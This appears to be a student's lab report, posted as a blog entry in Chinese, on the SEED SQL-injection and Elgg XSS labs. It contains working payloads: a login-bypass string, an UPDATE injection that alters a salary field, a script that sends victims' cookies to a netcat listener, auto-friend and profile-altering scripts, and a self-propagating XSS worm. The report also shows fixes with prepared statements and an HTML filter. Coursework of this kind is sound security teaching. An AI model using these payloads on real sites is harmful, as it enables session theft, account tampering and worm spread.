20252818 2025-2026-2 《网络攻防实践》实践十

1.实践内容

一、SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。

对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。

对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

SQL对抗:修复上述SQL注入攻击漏洞。

二、SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

弹窗显示cookie信息:将cookie信息显示。

窃取受害者的cookies:将cookie发送给攻击者。

成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。

修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

编写XSS蠕虫。

对抗XSS攻击。

2.实践过程

2.1 实验环境准备

本次实验使用 SEEDUbuntu 虚拟机,一开始我用的seed Ubuntu9,但是太老了各种报错,数据库也没有Users,所以换成了16版本。根据评分要求,所有操作截图中的主机名需要显示为本人姓名拼音,因此首先将主机名修改为 mkm

修改主机名文件:

sudo vim /etc/hostname

将其中内容修改为:

mkm

继续修改 hosts 文件:

sudo vim /etc/hosts

将其中对应主机名的位置也修改为:

mkm

image

重启或重新打开终端后,查看当前主机名:

hostname

image

从截图可以看到,当前主机名已经显示为 mkm,满足本次实验截图要求。

查看本机 IP 地址:

ifconfig

image

我的实验环境 IP 地址为:

192.168.200.134

2.2 SEED SQL 注入攻击与防御实验

2.2.1 熟悉 SQL 语句

首先进入 MySQL 数据库。数据库 root 用户密码为:

seedubuntu

输入命令:

mysql -u root -p

image

登录成功后,查看当前数据库:

show databases;

image

可以看到数据库列表中存在 Users 数据库。进入该数据库:

use Users;

查看数据库中的表:

show tables;

image

可以看到 Users 数据库中存在一个名为 credential 的表。该表中保存了员工的账号、密码、工资、SSN、电话等信息。

查看 credential 表中的全部内容:

select * from credential;

image

再查询用户名为 Boby 的相关信息:

select * from credential where Name = 'Boby';

image

2.2.2 对 SELECT 语句的 SQL 注入攻击

本部分实验目标是在不知道密码的情况下登录员工管理系统。

首先在浏览器中访问:

www.SEEDLabSQLInjection.com

image

进入登录页面后,先随意输入用户名和密码,同时按 F12 打开开发者工具,观察登录请求。

image

从网络请求中可以看到,登录过程会访问:

unsafe_home.php

为了进一步分析登录验证逻辑,进入对应目录查看源代码:

cd /var/www/SQLInjection/
cat unsafe_home.php

image

从代码中可以看到,程序将用户输入的用户名和密码直接拼接到了 SQL 语句中,没有进行参数化处理,因此存在 SQL 注入漏洞。
image

在用户名位置输入:

Admin'#

密码位置可以随意输入,我输个:

123456

image

这里的注入原理是:

Admin'

用于闭合 SQL 语句中原来的用户名字符串,而:

#

用于注释掉后面的密码判断部分。

因此原本需要同时判断用户名和密码的 SQL 语句,被修改为只判断用户名是否为 Admin。只要数据库中存在 Admin 用户,就可以绕过密码验证。

点击登录后,可以看到成功进入系统。

image

这说明该 Web 应用的登录功能确实存在 SELECT 型 SQL 注入漏洞。


2.2.3 对 UPDATE 语句的 SQL 注入攻击

本部分实验目标是通过员工资料更新页面,利用 UPDATE 语句中的注入漏洞修改管理员的 Salary 字段。

首先进入个人资料编辑页面,随意修改某个字段并保存,同时使用浏览器开发者工具观察请求过程。

image

可以看到,资料修改过程会访问:

unsafe_edit_backend.php

查看该文件内容:

cd /var/www/SQLInjection/
cat unsafe_edit_backend.php

image

从代码中可以看到,用户提交的 nickname、email、address、phoneNumber 等字段同样被直接拼接进 UPDATE 语句中。核心 SQL 语句是:

UPDATE credential SET nickname='$input_nickname',
email='$input_email',
address='$input_address',
Password='$hashed_pwd',
PhoneNumber='$input_phonenumber'
WHERE ID=$id;

正常情况下,当前用户只能修改自己的个人资料。但是由于输入字段没有被过滤,可以在 nickname 字段中插入额外 SQL 片段,从而改变 UPDATE 语句的执行逻辑。

在 nickname 输入框中输入:

',Salary='20252818' where name='Admin'#

image

然后点击保存。

再次查看 Admin 用户的信息:

image

可以看到 Admin 的 Salary 字段已经被修改为:

20252818

这说明 UPDATE 语句同样存在 SQL 注入漏洞。攻击者可以利用输入框改变原本 SQL 语句的结构,从而越权修改数据库中的字段。


2.2.4 SQL 对抗:修复 SQL 注入攻击漏洞

我查看源码后发现,登录和修改资料时,程序都是把输入框里的内容直接拼到 SQL 语句里,这就是后面能够构造注入语句的原因。因此防御的关键是让 SQL 结构和用户输入数据分离。本次实验中使用预编译语句进行修复。

首先修改 unsafe_home.php 文件权限:

sudo chmod u+w /var/www/SQLInjection/unsafe_home.php

image

继续查看登录验证页面的源码:

cat unsafe_home.php

将 unsafe_home.php 中原本直接拼接用户输入的 SELECT 语句改为预编译语句:

// Sql query to authenticate the user
$stmt = $conn->prepare("SELECT id, name, eid, salary,birth, ssn, phoneNumber,address,email,nickname,Password From credential WHERE name=? and Password=?;");

if (!$stmt) {
  echo "</div>";
  echo "</nav>";
  echo "<div class='container text-center'>";
  die('There was an error preparing the query [' . $conn->error . ']\n');
  echo "</div>";
}

$stmt->bind_param("ss", $input_uname, $hashed_pwd);
$stmt->execute();
$result = $stmt->get_result();

image

这里的 ? 表示占位符,后面的 bind_param 会把用户输入作为普通字符串绑定进去,而不是作为 SQL 语句的一部分执行。

接着修复 UPDATE 语句中的注入问题。修改 unsafe_edit_backend.php

sudo chmod u+w /var/www/SQLInjection/unsafe_edit_backend.php
cat unsafe_edit_backend.php

image

将 UPDATE 语句改为:

  if($input_pwd!=''){
  // In case password field is not empty.
  $hashed_pwd = sha1($input_pwd);
  //Update the password stored in the session.
  $_SESSION['pwd']=$hashed_pwd;

  $stmt = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,Password=?,PhoneNumber=? where ID=?;");
  if (!$stmt) {
    die("Prepare failed: " . $conn->error);
  }
  $stmt->bind_param("sssssi", $input_nickname, $input_email, $input_address, $hashed_pwd, $input_phonenumber, $id);
}else{
  // if passowrd field is empty.
  $stmt = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=?;");
  if (!$stmt) {
    die("Prepare failed: " . $conn->error);
  }
  $stmt->bind_param("ssssi", $input_nickname, $input_email, $input_address, $input_phonenumber, $id);
}

if (!$stmt->execute()) {
  die("Execute failed: " . $stmt->error);
}
$stmt->close();
$conn->close();
header("Location: unsafe_home.php");
exit();

image

修改完成后,再次尝试使用:

Admin'#

进行登录。

image

可以看到此时已经无法绕过密码验证。

再尝试在 nickname 中输入:

',Salary='20252818' where name='Admin'#

image

保存后查看数据库,发现 Admin 的 Salary 字段没有再被异常修改。

image

这说明通过预编译语句,SQL 注入漏洞已经得到修复。预编译语句会先固定 SQL 结构,再将用户输入作为数据处理,即使输入中包含引号、注释符号等特殊字符,也不会改变原本 SQL 语句的逻辑。

2.3 SEED XSS 跨站脚本攻击实验 Elgg

2.3.1 发布恶意消息,显示警报窗口

本部分实验使用 Elgg 社交网站环境。首先在浏览器中访问:

http://www.xsslabelgg.com

使用 Alice 账户登录:

用户名:Alice
密码:seedalice

image

登录后,点击 Alice 头像进入个人主页,然后选择:

Edit profile

image

Brief description 中输入以下代码:

<script>alert("20252818mkm");</script>

点击保存后,页面弹出警告窗口。

image

这说明输入到个人资料中的 JavaScript 代码被浏览器执行了,Elgg 当前配置下存在存储型 XSS 漏洞。

接着将 Brief description 中的内容修改为:

<script>alert(document.cookie);</script>

保存后刷新页面,可以看到浏览器弹出了当前用户的 Cookie 信息。

image

Cookie 中通常包含用户会话相关的信息。如果攻击者能够读取 Cookie,就可能进一步利用会话信息实施攻击。因此,本步骤说明 XSS 漏洞不仅可以弹窗,还可以访问浏览器中的敏感数据。

2.3.3 窃取受害者 Cookies

首先在终端中开启监听,监听 5555 端口:

nc -l 5555 -v

image

然后在 Alice 的 Brief description 中插入用于发送 Cookie 的代码。

<script> document.write('<img src=http://192.168.200.134:5555?c=' + escape(document.cookie) + '>'); </script>

保存后,切换到 Boby 账户登录:

用户名:Boby
密码:seedboby

image

使用 Boby 账户访问 Alice 的主页。

此时回到终端,可以看到监听窗口接收到了 Boby 用户访问时携带的 Cookie 信息。

image

这一过程说明,当受害者访问含有恶意脚本的页面时,浏览器会自动执行脚本,并把 Cookie 发送到监听端口中。本实验是在 SEED 靶场中进行,目的是理解 XSS 获取 Cookie 的原理。

2.3.4 成为受害者的朋友

本部分目标是使用 JavaScript 程序自动发送加好友请求,使受害者在不知情的情况下添加指定用户为好友。

首先使用 Alice 账户进入 Members 页面,手动点击添加 Boby 为好友,同时打开开发者工具观察网络请求。

image

从请求中可以看到,加好友操作会访问类似下面的地址:

http://www.xsslabelgg.com/action/friends/add?friend=45

其中 friend=45 表示被添加好友用户的编号,具体编号以开发者工具中抓到的请求为准。本次按照实验环境中抓到的编号继续操作。

为了恢复初始状态,先删除好友关系,再回到 Alice 的个人资料编辑页面。

在 Alice 的 About me 中选择 Edit HTML 模式,插入自动加好友脚本:

<script type="text/javascript">
window.onload = function () {
    var Ajax=null;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;
    var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=45" + ts + token;
    Ajax=new XMLHttpRequest();
    Ajax.open("GET",sendurl,true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    Ajax.send();
}
</script>

image

保存后,使用 Boby 账户访问 Alice 的主页。
image

访问完成后回到 Boby的好友列表,可以看到好友关系已经被自动添加(怎么还自己加自己)。

image

不过Alice的好友关系是正常的,是Boby
image

经过检查,我发现原因是我的friend=45,这个45是boby的编号,如此就可以解释了。

这说明 XSS 可以结合网站已有接口,伪造用户操作。受害者虽然没有主动点击添加好友,但浏览器在执行脚本时自动携带了当前用户的登录状态和安全令牌,因此请求能够成功执行。

2.3.5 修改受害者的信息

本部分目标是使受害者访问 Alice 页面后,个人资料被自动修改。

首先继续使用 Alice 账户进入:

Edit profile

About me 中选择:

Edit HTML

在该位置插入修改用户资料的 JavaScript 代码。代码的思路是:

  1. 获取当前访问者的用户名。
  2. 获取当前访问者的 guid。
  3. 获取 Elgg 页面中的 __elgg_ts__elgg_token
  4. 构造 profile edit 请求。
  5. 使用 XMLHttpRequest 自动发送 POST 请求。

插入代码如下:

<script type="text/javascript">
window.onload = function(){
    var userName=elgg.session.user.name;
    var guid="&guid="+elgg.session.user.guid;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;
    var content=token+ts+"name="+userName+"&description=<p>This have been cracked by 20252818mkm.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
    var aliceGuid=44;
    if(elgg.session.user.guid!=aliceGuid){
        var Ajax=null;
        Ajax=new XMLHttpRequest();
        Ajax.open("POST",sendurl,true);
        Ajax.setRequestHeader("Host","www.xsslabelgg.com");
        Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        Ajax.send(content);
    }
}
</script>

image

保存后,切换到 Boby 账户访问 Alice 主页。

image

访问后再查看 Boby 的个人资料,可以看到 Boby 的 About me 内容已经被修改为:

This have been cracked by 20252818mkm.

image

这说明 XSS 不仅可以读取信息,还可以在用户不知情的情况下代替用户向服务器发送请求,修改用户自己的资料。

2.3.6 编写 XSS 蠕虫

前面的实验只能让访问者执行一次脚本,而 XSS 蠕虫的特点是可以自我复制和继续传播。

本部分仍然在 Alice 的 About me 中选择 Edit HTML 模式,插入蠕虫代码:

<script id="worm" type="text/javascript">
window.onload = function(){
    var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
    var jsCode = document.getElementById("worm").innerHTML;
    var tailTag = "</" + "script>";
    var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
    var userName=elgg.session.user.name;
    var guid="&guid="+elgg.session.user.guid;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;
    var content= token + ts + "&name=" + userName + "&description=<p>20252818mkm"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
    alert(content)
    var aliceGuid=44;

    if(elgg.session.user.guid!=aliceGuid){
        var Ajax=null;
        Ajax=new XMLHttpRequest();
        Ajax.open("POST",sendurl,true);
        Ajax.setRequestHeader("Host","www.xsslabelgg.com");
        Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
        Ajax.send(content);
    }
}
</script>

image

该代码的关键逻辑包括:

  1. 使用 document.getElementById("worm").innerHTML 获取脚本自身内容。
  2. 将脚本头、脚本主体和脚本尾重新拼接成完整代码。
  3. 使用 encodeURIComponent 对脚本内容进行编码。
  4. 构造修改个人资料的 POST 请求。
  5. 当其他用户访问 Alice 主页时,将蠕虫代码写入访问者自己的个人资料中。

保存后,使用 Boby 账户访问 Alice 的主页。

image

访问完成后查看 Boby 的个人资料,可以看到 Boby 的资料也被写入了相同的脚本内容。

image

继续让其他用户访问 Boby 的主页,脚本也会继续传播,这说明 XSS 蠕虫已经具备了自动传播能力。它的危险性在于,一旦某个用户被感染,后续访问该用户主页的其他用户也可能继续被感染,传播速度较快。

2.3.7 对抗 XSS 攻击

最后进行 XSS 防御实验。首先访问管理员入口:

www.xsslabelgg.com/admin

image

使用管理员账户登录:

用户名:admin
密码:seedelgg

image

进入管理后台后,依次选择:

Plugins

找到插件:

HTMLawed

image

将其状态调整为启用状态。如果页面按钮显示:

Deactivate

说明该插件已经处于启用状态。

image

HTMLawed 插件的作用是过滤用户输入中的危险 HTML 标签和 JavaScript 脚本,从而阻止 XSS 代码被浏览器执行。

启用后,重新在 Alice 的个人资料中输入:

<script>alert("20252818mkm");</script>

image

保存后再次访问页面,可以看到脚本没有正常执行,弹窗没有出现。

image

这说明 XSS 防御机制生效。通过过滤危险标签,可以有效降低存储型 XSS 攻击风险。

3.学习中遇到的问题及解决

问题1:SEED Ubuntu9 环境过旧,数据库结构和实验要求不一致

一开始我使用的是 SEED Ubuntu9 环境,但是在实验过程中发现该环境比较老,很多地方和本次实验要求不完全一致。例如在 MySQL 中执行:

show databases;

后,并没有看到实验要求中提到的 Users 数据库,而是出现了其他数据库。这导致后续无法按照实验要求进入 Users 数据库,也无法直接查询 credential 表。

问题1解决方案:

经过检查后,我判断当前使用的 SEED Ubuntu9 镜像和实验指导所对应的版本不一致。为了避免后续实验步骤和数据库结构继续不匹配,我更换为 SEED Ubuntu16 版本重新进行实验。更换环境后,再次进入 MySQL 查看数据库,能够正常看到 Users 数据库,并且可以进入该数据库查询 credential 表,后续 SQL 注入实验也能够继续完成。

通过这个问题我认识到,网络攻防实验对实验环境版本要求比较高。如果虚拟机版本和实验指导不一致,命令本身可能没有错,但实验结果会和指导材料不一样。因此遇到异常时,不能只怀疑命令输错,也要检查实验环境是否匹配。

问题2:SQL 注入防御时,直接照抄预编译语句容易导致程序报错

在 SQL 对抗部分,我需要将原本直接拼接用户输入的 SQL 语句改成预编译语句。最开始我只把原来的:

$sql = "SELECT ...";

改成了:

$sql = $conn->prepare(...);
$sql->bind_param(...);

但是后面的代码仍然保留了:

$conn->query($sql);

这样会导致程序执行错误。原因是 prepare() 返回的已经不是普通 SQL 字符串,而是一个预编译语句对象,不能继续用原来的 $conn->query($sql) 执行。

问题2解决方案:

我重新检查了 unsafe_home.php 的执行逻辑,发现不能只替换 SQL 语句本身,还要把后续执行查询的方式一起改掉。因此我将登录查询部分改为:

$stmt = $conn->prepare("SELECT id, name, eid, salary,birth, ssn, phoneNumber,address,email,nickname,Password From credential WHERE name=? and Password=?;");

$stmt->bind_param("ss", $input_uname, $hashed_pwd);
$stmt->execute();
$result = $stmt->get_result();

这样程序不再使用字符串拼接的 $sql,而是通过 $stmt->execute() 执行预编译语句。修改后再次使用:

Admin'#

尝试绕过登录,发现不能再成功登录,说明 SELECT 型 SQL 注入漏洞得到了修复。

问题3:UPDATE 注入防御时存在两个分支,不能只修改其中一个

在修改 unsafe_edit_backend.php 时,我发现文件中并不是只有一条 UPDATE 语句,而是根据密码是否为空分成了两个分支:

if($input_pwd!=''){
    ...
}else{
    ...
}

如果只修改其中一个分支,另一个分支仍然可能存在 SQL 注入风险。尤其在本次实验中,我进行 UPDATE 注入时通常不填写密码,所以程序会进入密码为空的 else 分支。如果只修改了填写密码时的分支,漏洞实际上并没有完全修复。

问题3解决方案:

我分别对两个 UPDATE 分支都进行了预编译处理。密码不为空时,需要同时更新 Password 字段;密码为空时,只更新 nickname、email、address 和 PhoneNumber 字段。修改后再次在 nickname 中输入:

',Salary='20252818' where name='Admin'#

保存后查看数据库,发现 Admin 的 Salary 字段没有再被异常修改,说明 UPDATE 型 SQL 注入防御成功。

通过这个问题我认识到,修复漏洞不能只看某一条语句,还要结合程序的分支结构进行分析。否则表面上修改了代码,实际上仍然可能有其他路径存在漏洞。

问题4:XSS 自动加好友实验中 friend 编号理解错误

在自动加好友实验中,我通过抓包得到了类似下面的请求:

http://www.xsslabelgg.com/action/friends/add?friend=45

一开始我以为 friend=45 就是要添加 Alice 为好友的编号,于是直接把它写进了 JavaScript 代码中。后来实验时发现结果有些异常,Boby 的好友列表中出现了类似“自己加自己”的情况。

问题4解决方案:

经过重新分析,我发现 friend=45 中的数字表示的是被添加用户的 guid,不是固定值。也就是说,这个数字必须根据实际抓包结果判断。如果抓包时当前操作是添加 Boby,那么 45 可能就是 Boby 的编号,而不是 Alice 的编号。

因此,在后续实验中,我重新检查请求中的 friend 参数,并结合 Alice、Boby 的访问关系判断 guid 的含义。这个问题说明,在 Web 攻击实验中不能机械照抄代码中的数字参数,而要理解每个参数在请求中的含义。否则脚本虽然能够发送请求,但实现的效果可能和预期不一致。

问题5:XSS 防御实验中无法进入管理员后台

在进行 XSS 防御实验时,我访问:

www.xsslabelgg.com/admin

时出现了没有管理员权限的提示。原因是当时浏览器中仍然登录的是 Alice 或 Boby 这样的普通用户,所以无法进入后台管理页面。

问题5解决方案:

我先退出当前普通用户账号,然后重新使用管理员账号登录:

用户名:admin
密码:seedelgg

成功登录后,再进入插件管理页面,找到 HTMLawed 插件并启用。启用后,再次在 Alice 资料中输入:

<script>alert("20252818mkm");</script>

保存后页面不再弹窗,说明 HTMLawed 对危险脚本起到了过滤作用,XSS 防御生效。

4.实践总结

通过本次实践,我对 SQL 注入和 XSS 跨站脚本攻击有了更加具体的理解。以前学习这些漏洞时,更多是从概念上知道“输入没有过滤会导致安全问题”,但通过这次实验可以明显看到,漏洞并不是抽象存在的,而是直接体现在代码和请求过程中的。

在 SQL 注入实验中,我首先通过 MySQL 熟悉了 Users 数据库和 credential 表的基本结构,然后通过 Admin'# 绕过登录验证。这个过程让我理解了单引号闭合和注释符号在 SQL 注入中的作用。原本程序应该同时判断用户名和密码,但由于用户输入被直接拼接进 SQL 语句,攻击者可以通过构造输入改变 SQL 的逻辑,使密码判断条件失效。

在 UPDATE 注入实验中,我通过 nickname 字段修改了 Admin 用户的 Salary 字段。这一步让我认识到,SQL 注入不只存在于登录页面,也可能存在于资料修改、搜索、留言等各种涉及数据库操作的功能中。只要程序将用户输入直接拼接进 SQL 语句,就可能被攻击者利用。

在 SQL 防御部分,我也遇到了比较实际的问题。预编译语句不是简单把 SQL 字符串换成 prepare() 就结束,还需要配合 bind_param()execute() 等方法一起使用。同时,对于 UPDATE 语句这种存在多个分支的代码,也必须分别检查每一个分支是否仍然存在拼接用户输入的问题。这让我认识到,漏洞修复不能只改表面的一行代码,而要结合程序完整执行流程进行分析。

在 XSS 实验中,我完成了弹窗、显示 Cookie、窃取 Cookie、自动加好友、修改受害者资料和 XSS 蠕虫传播等操作。通过这些实验可以看出,XSS 的危险性不仅仅是弹出一个提示框,更重要的是它能够以受害者当前登录状态执行操作。浏览器会自动携带 Cookie 和身份信息,因此脚本可以在受害者不知情的情况下发送请求、修改资料,甚至继续传播到其他用户页面中。

这次实验中我印象比较深的是自动加好友和修改资料两个任务。刚开始我只是照着代码填写参数,但实际操作后发现 friend 编号、用户 guid、当前登录用户身份都会影响实验结果。后来通过抓包和分析请求参数,我才理解脚本真正执行的是“当前登录用户”的操作,而不是固定某一个人的操作。这也让我认识到,做 Web 安全实验不能只看代码能不能运行,还要理解请求是由谁发出、带了什么参数、服务器最终会把操作作用到哪个用户身上。

在最后的 XSS 防御实验中,启用 HTMLawed 插件后,原本可以执行的 <script> 代码不再触发弹窗。这说明对用户输入中的危险标签和脚本进行过滤,是防御存储型 XSS 的重要方法。不过从整个实验过程来看,单纯依赖某一个插件还不够,实际系统中还应该结合输入过滤、输出编码、Cookie 安全属性、CSRF Token 校验等多种机制共同防护。

posted @ 2026-06-01 15:10  一匹神马  阅读(31)  评论(0)    收藏  举报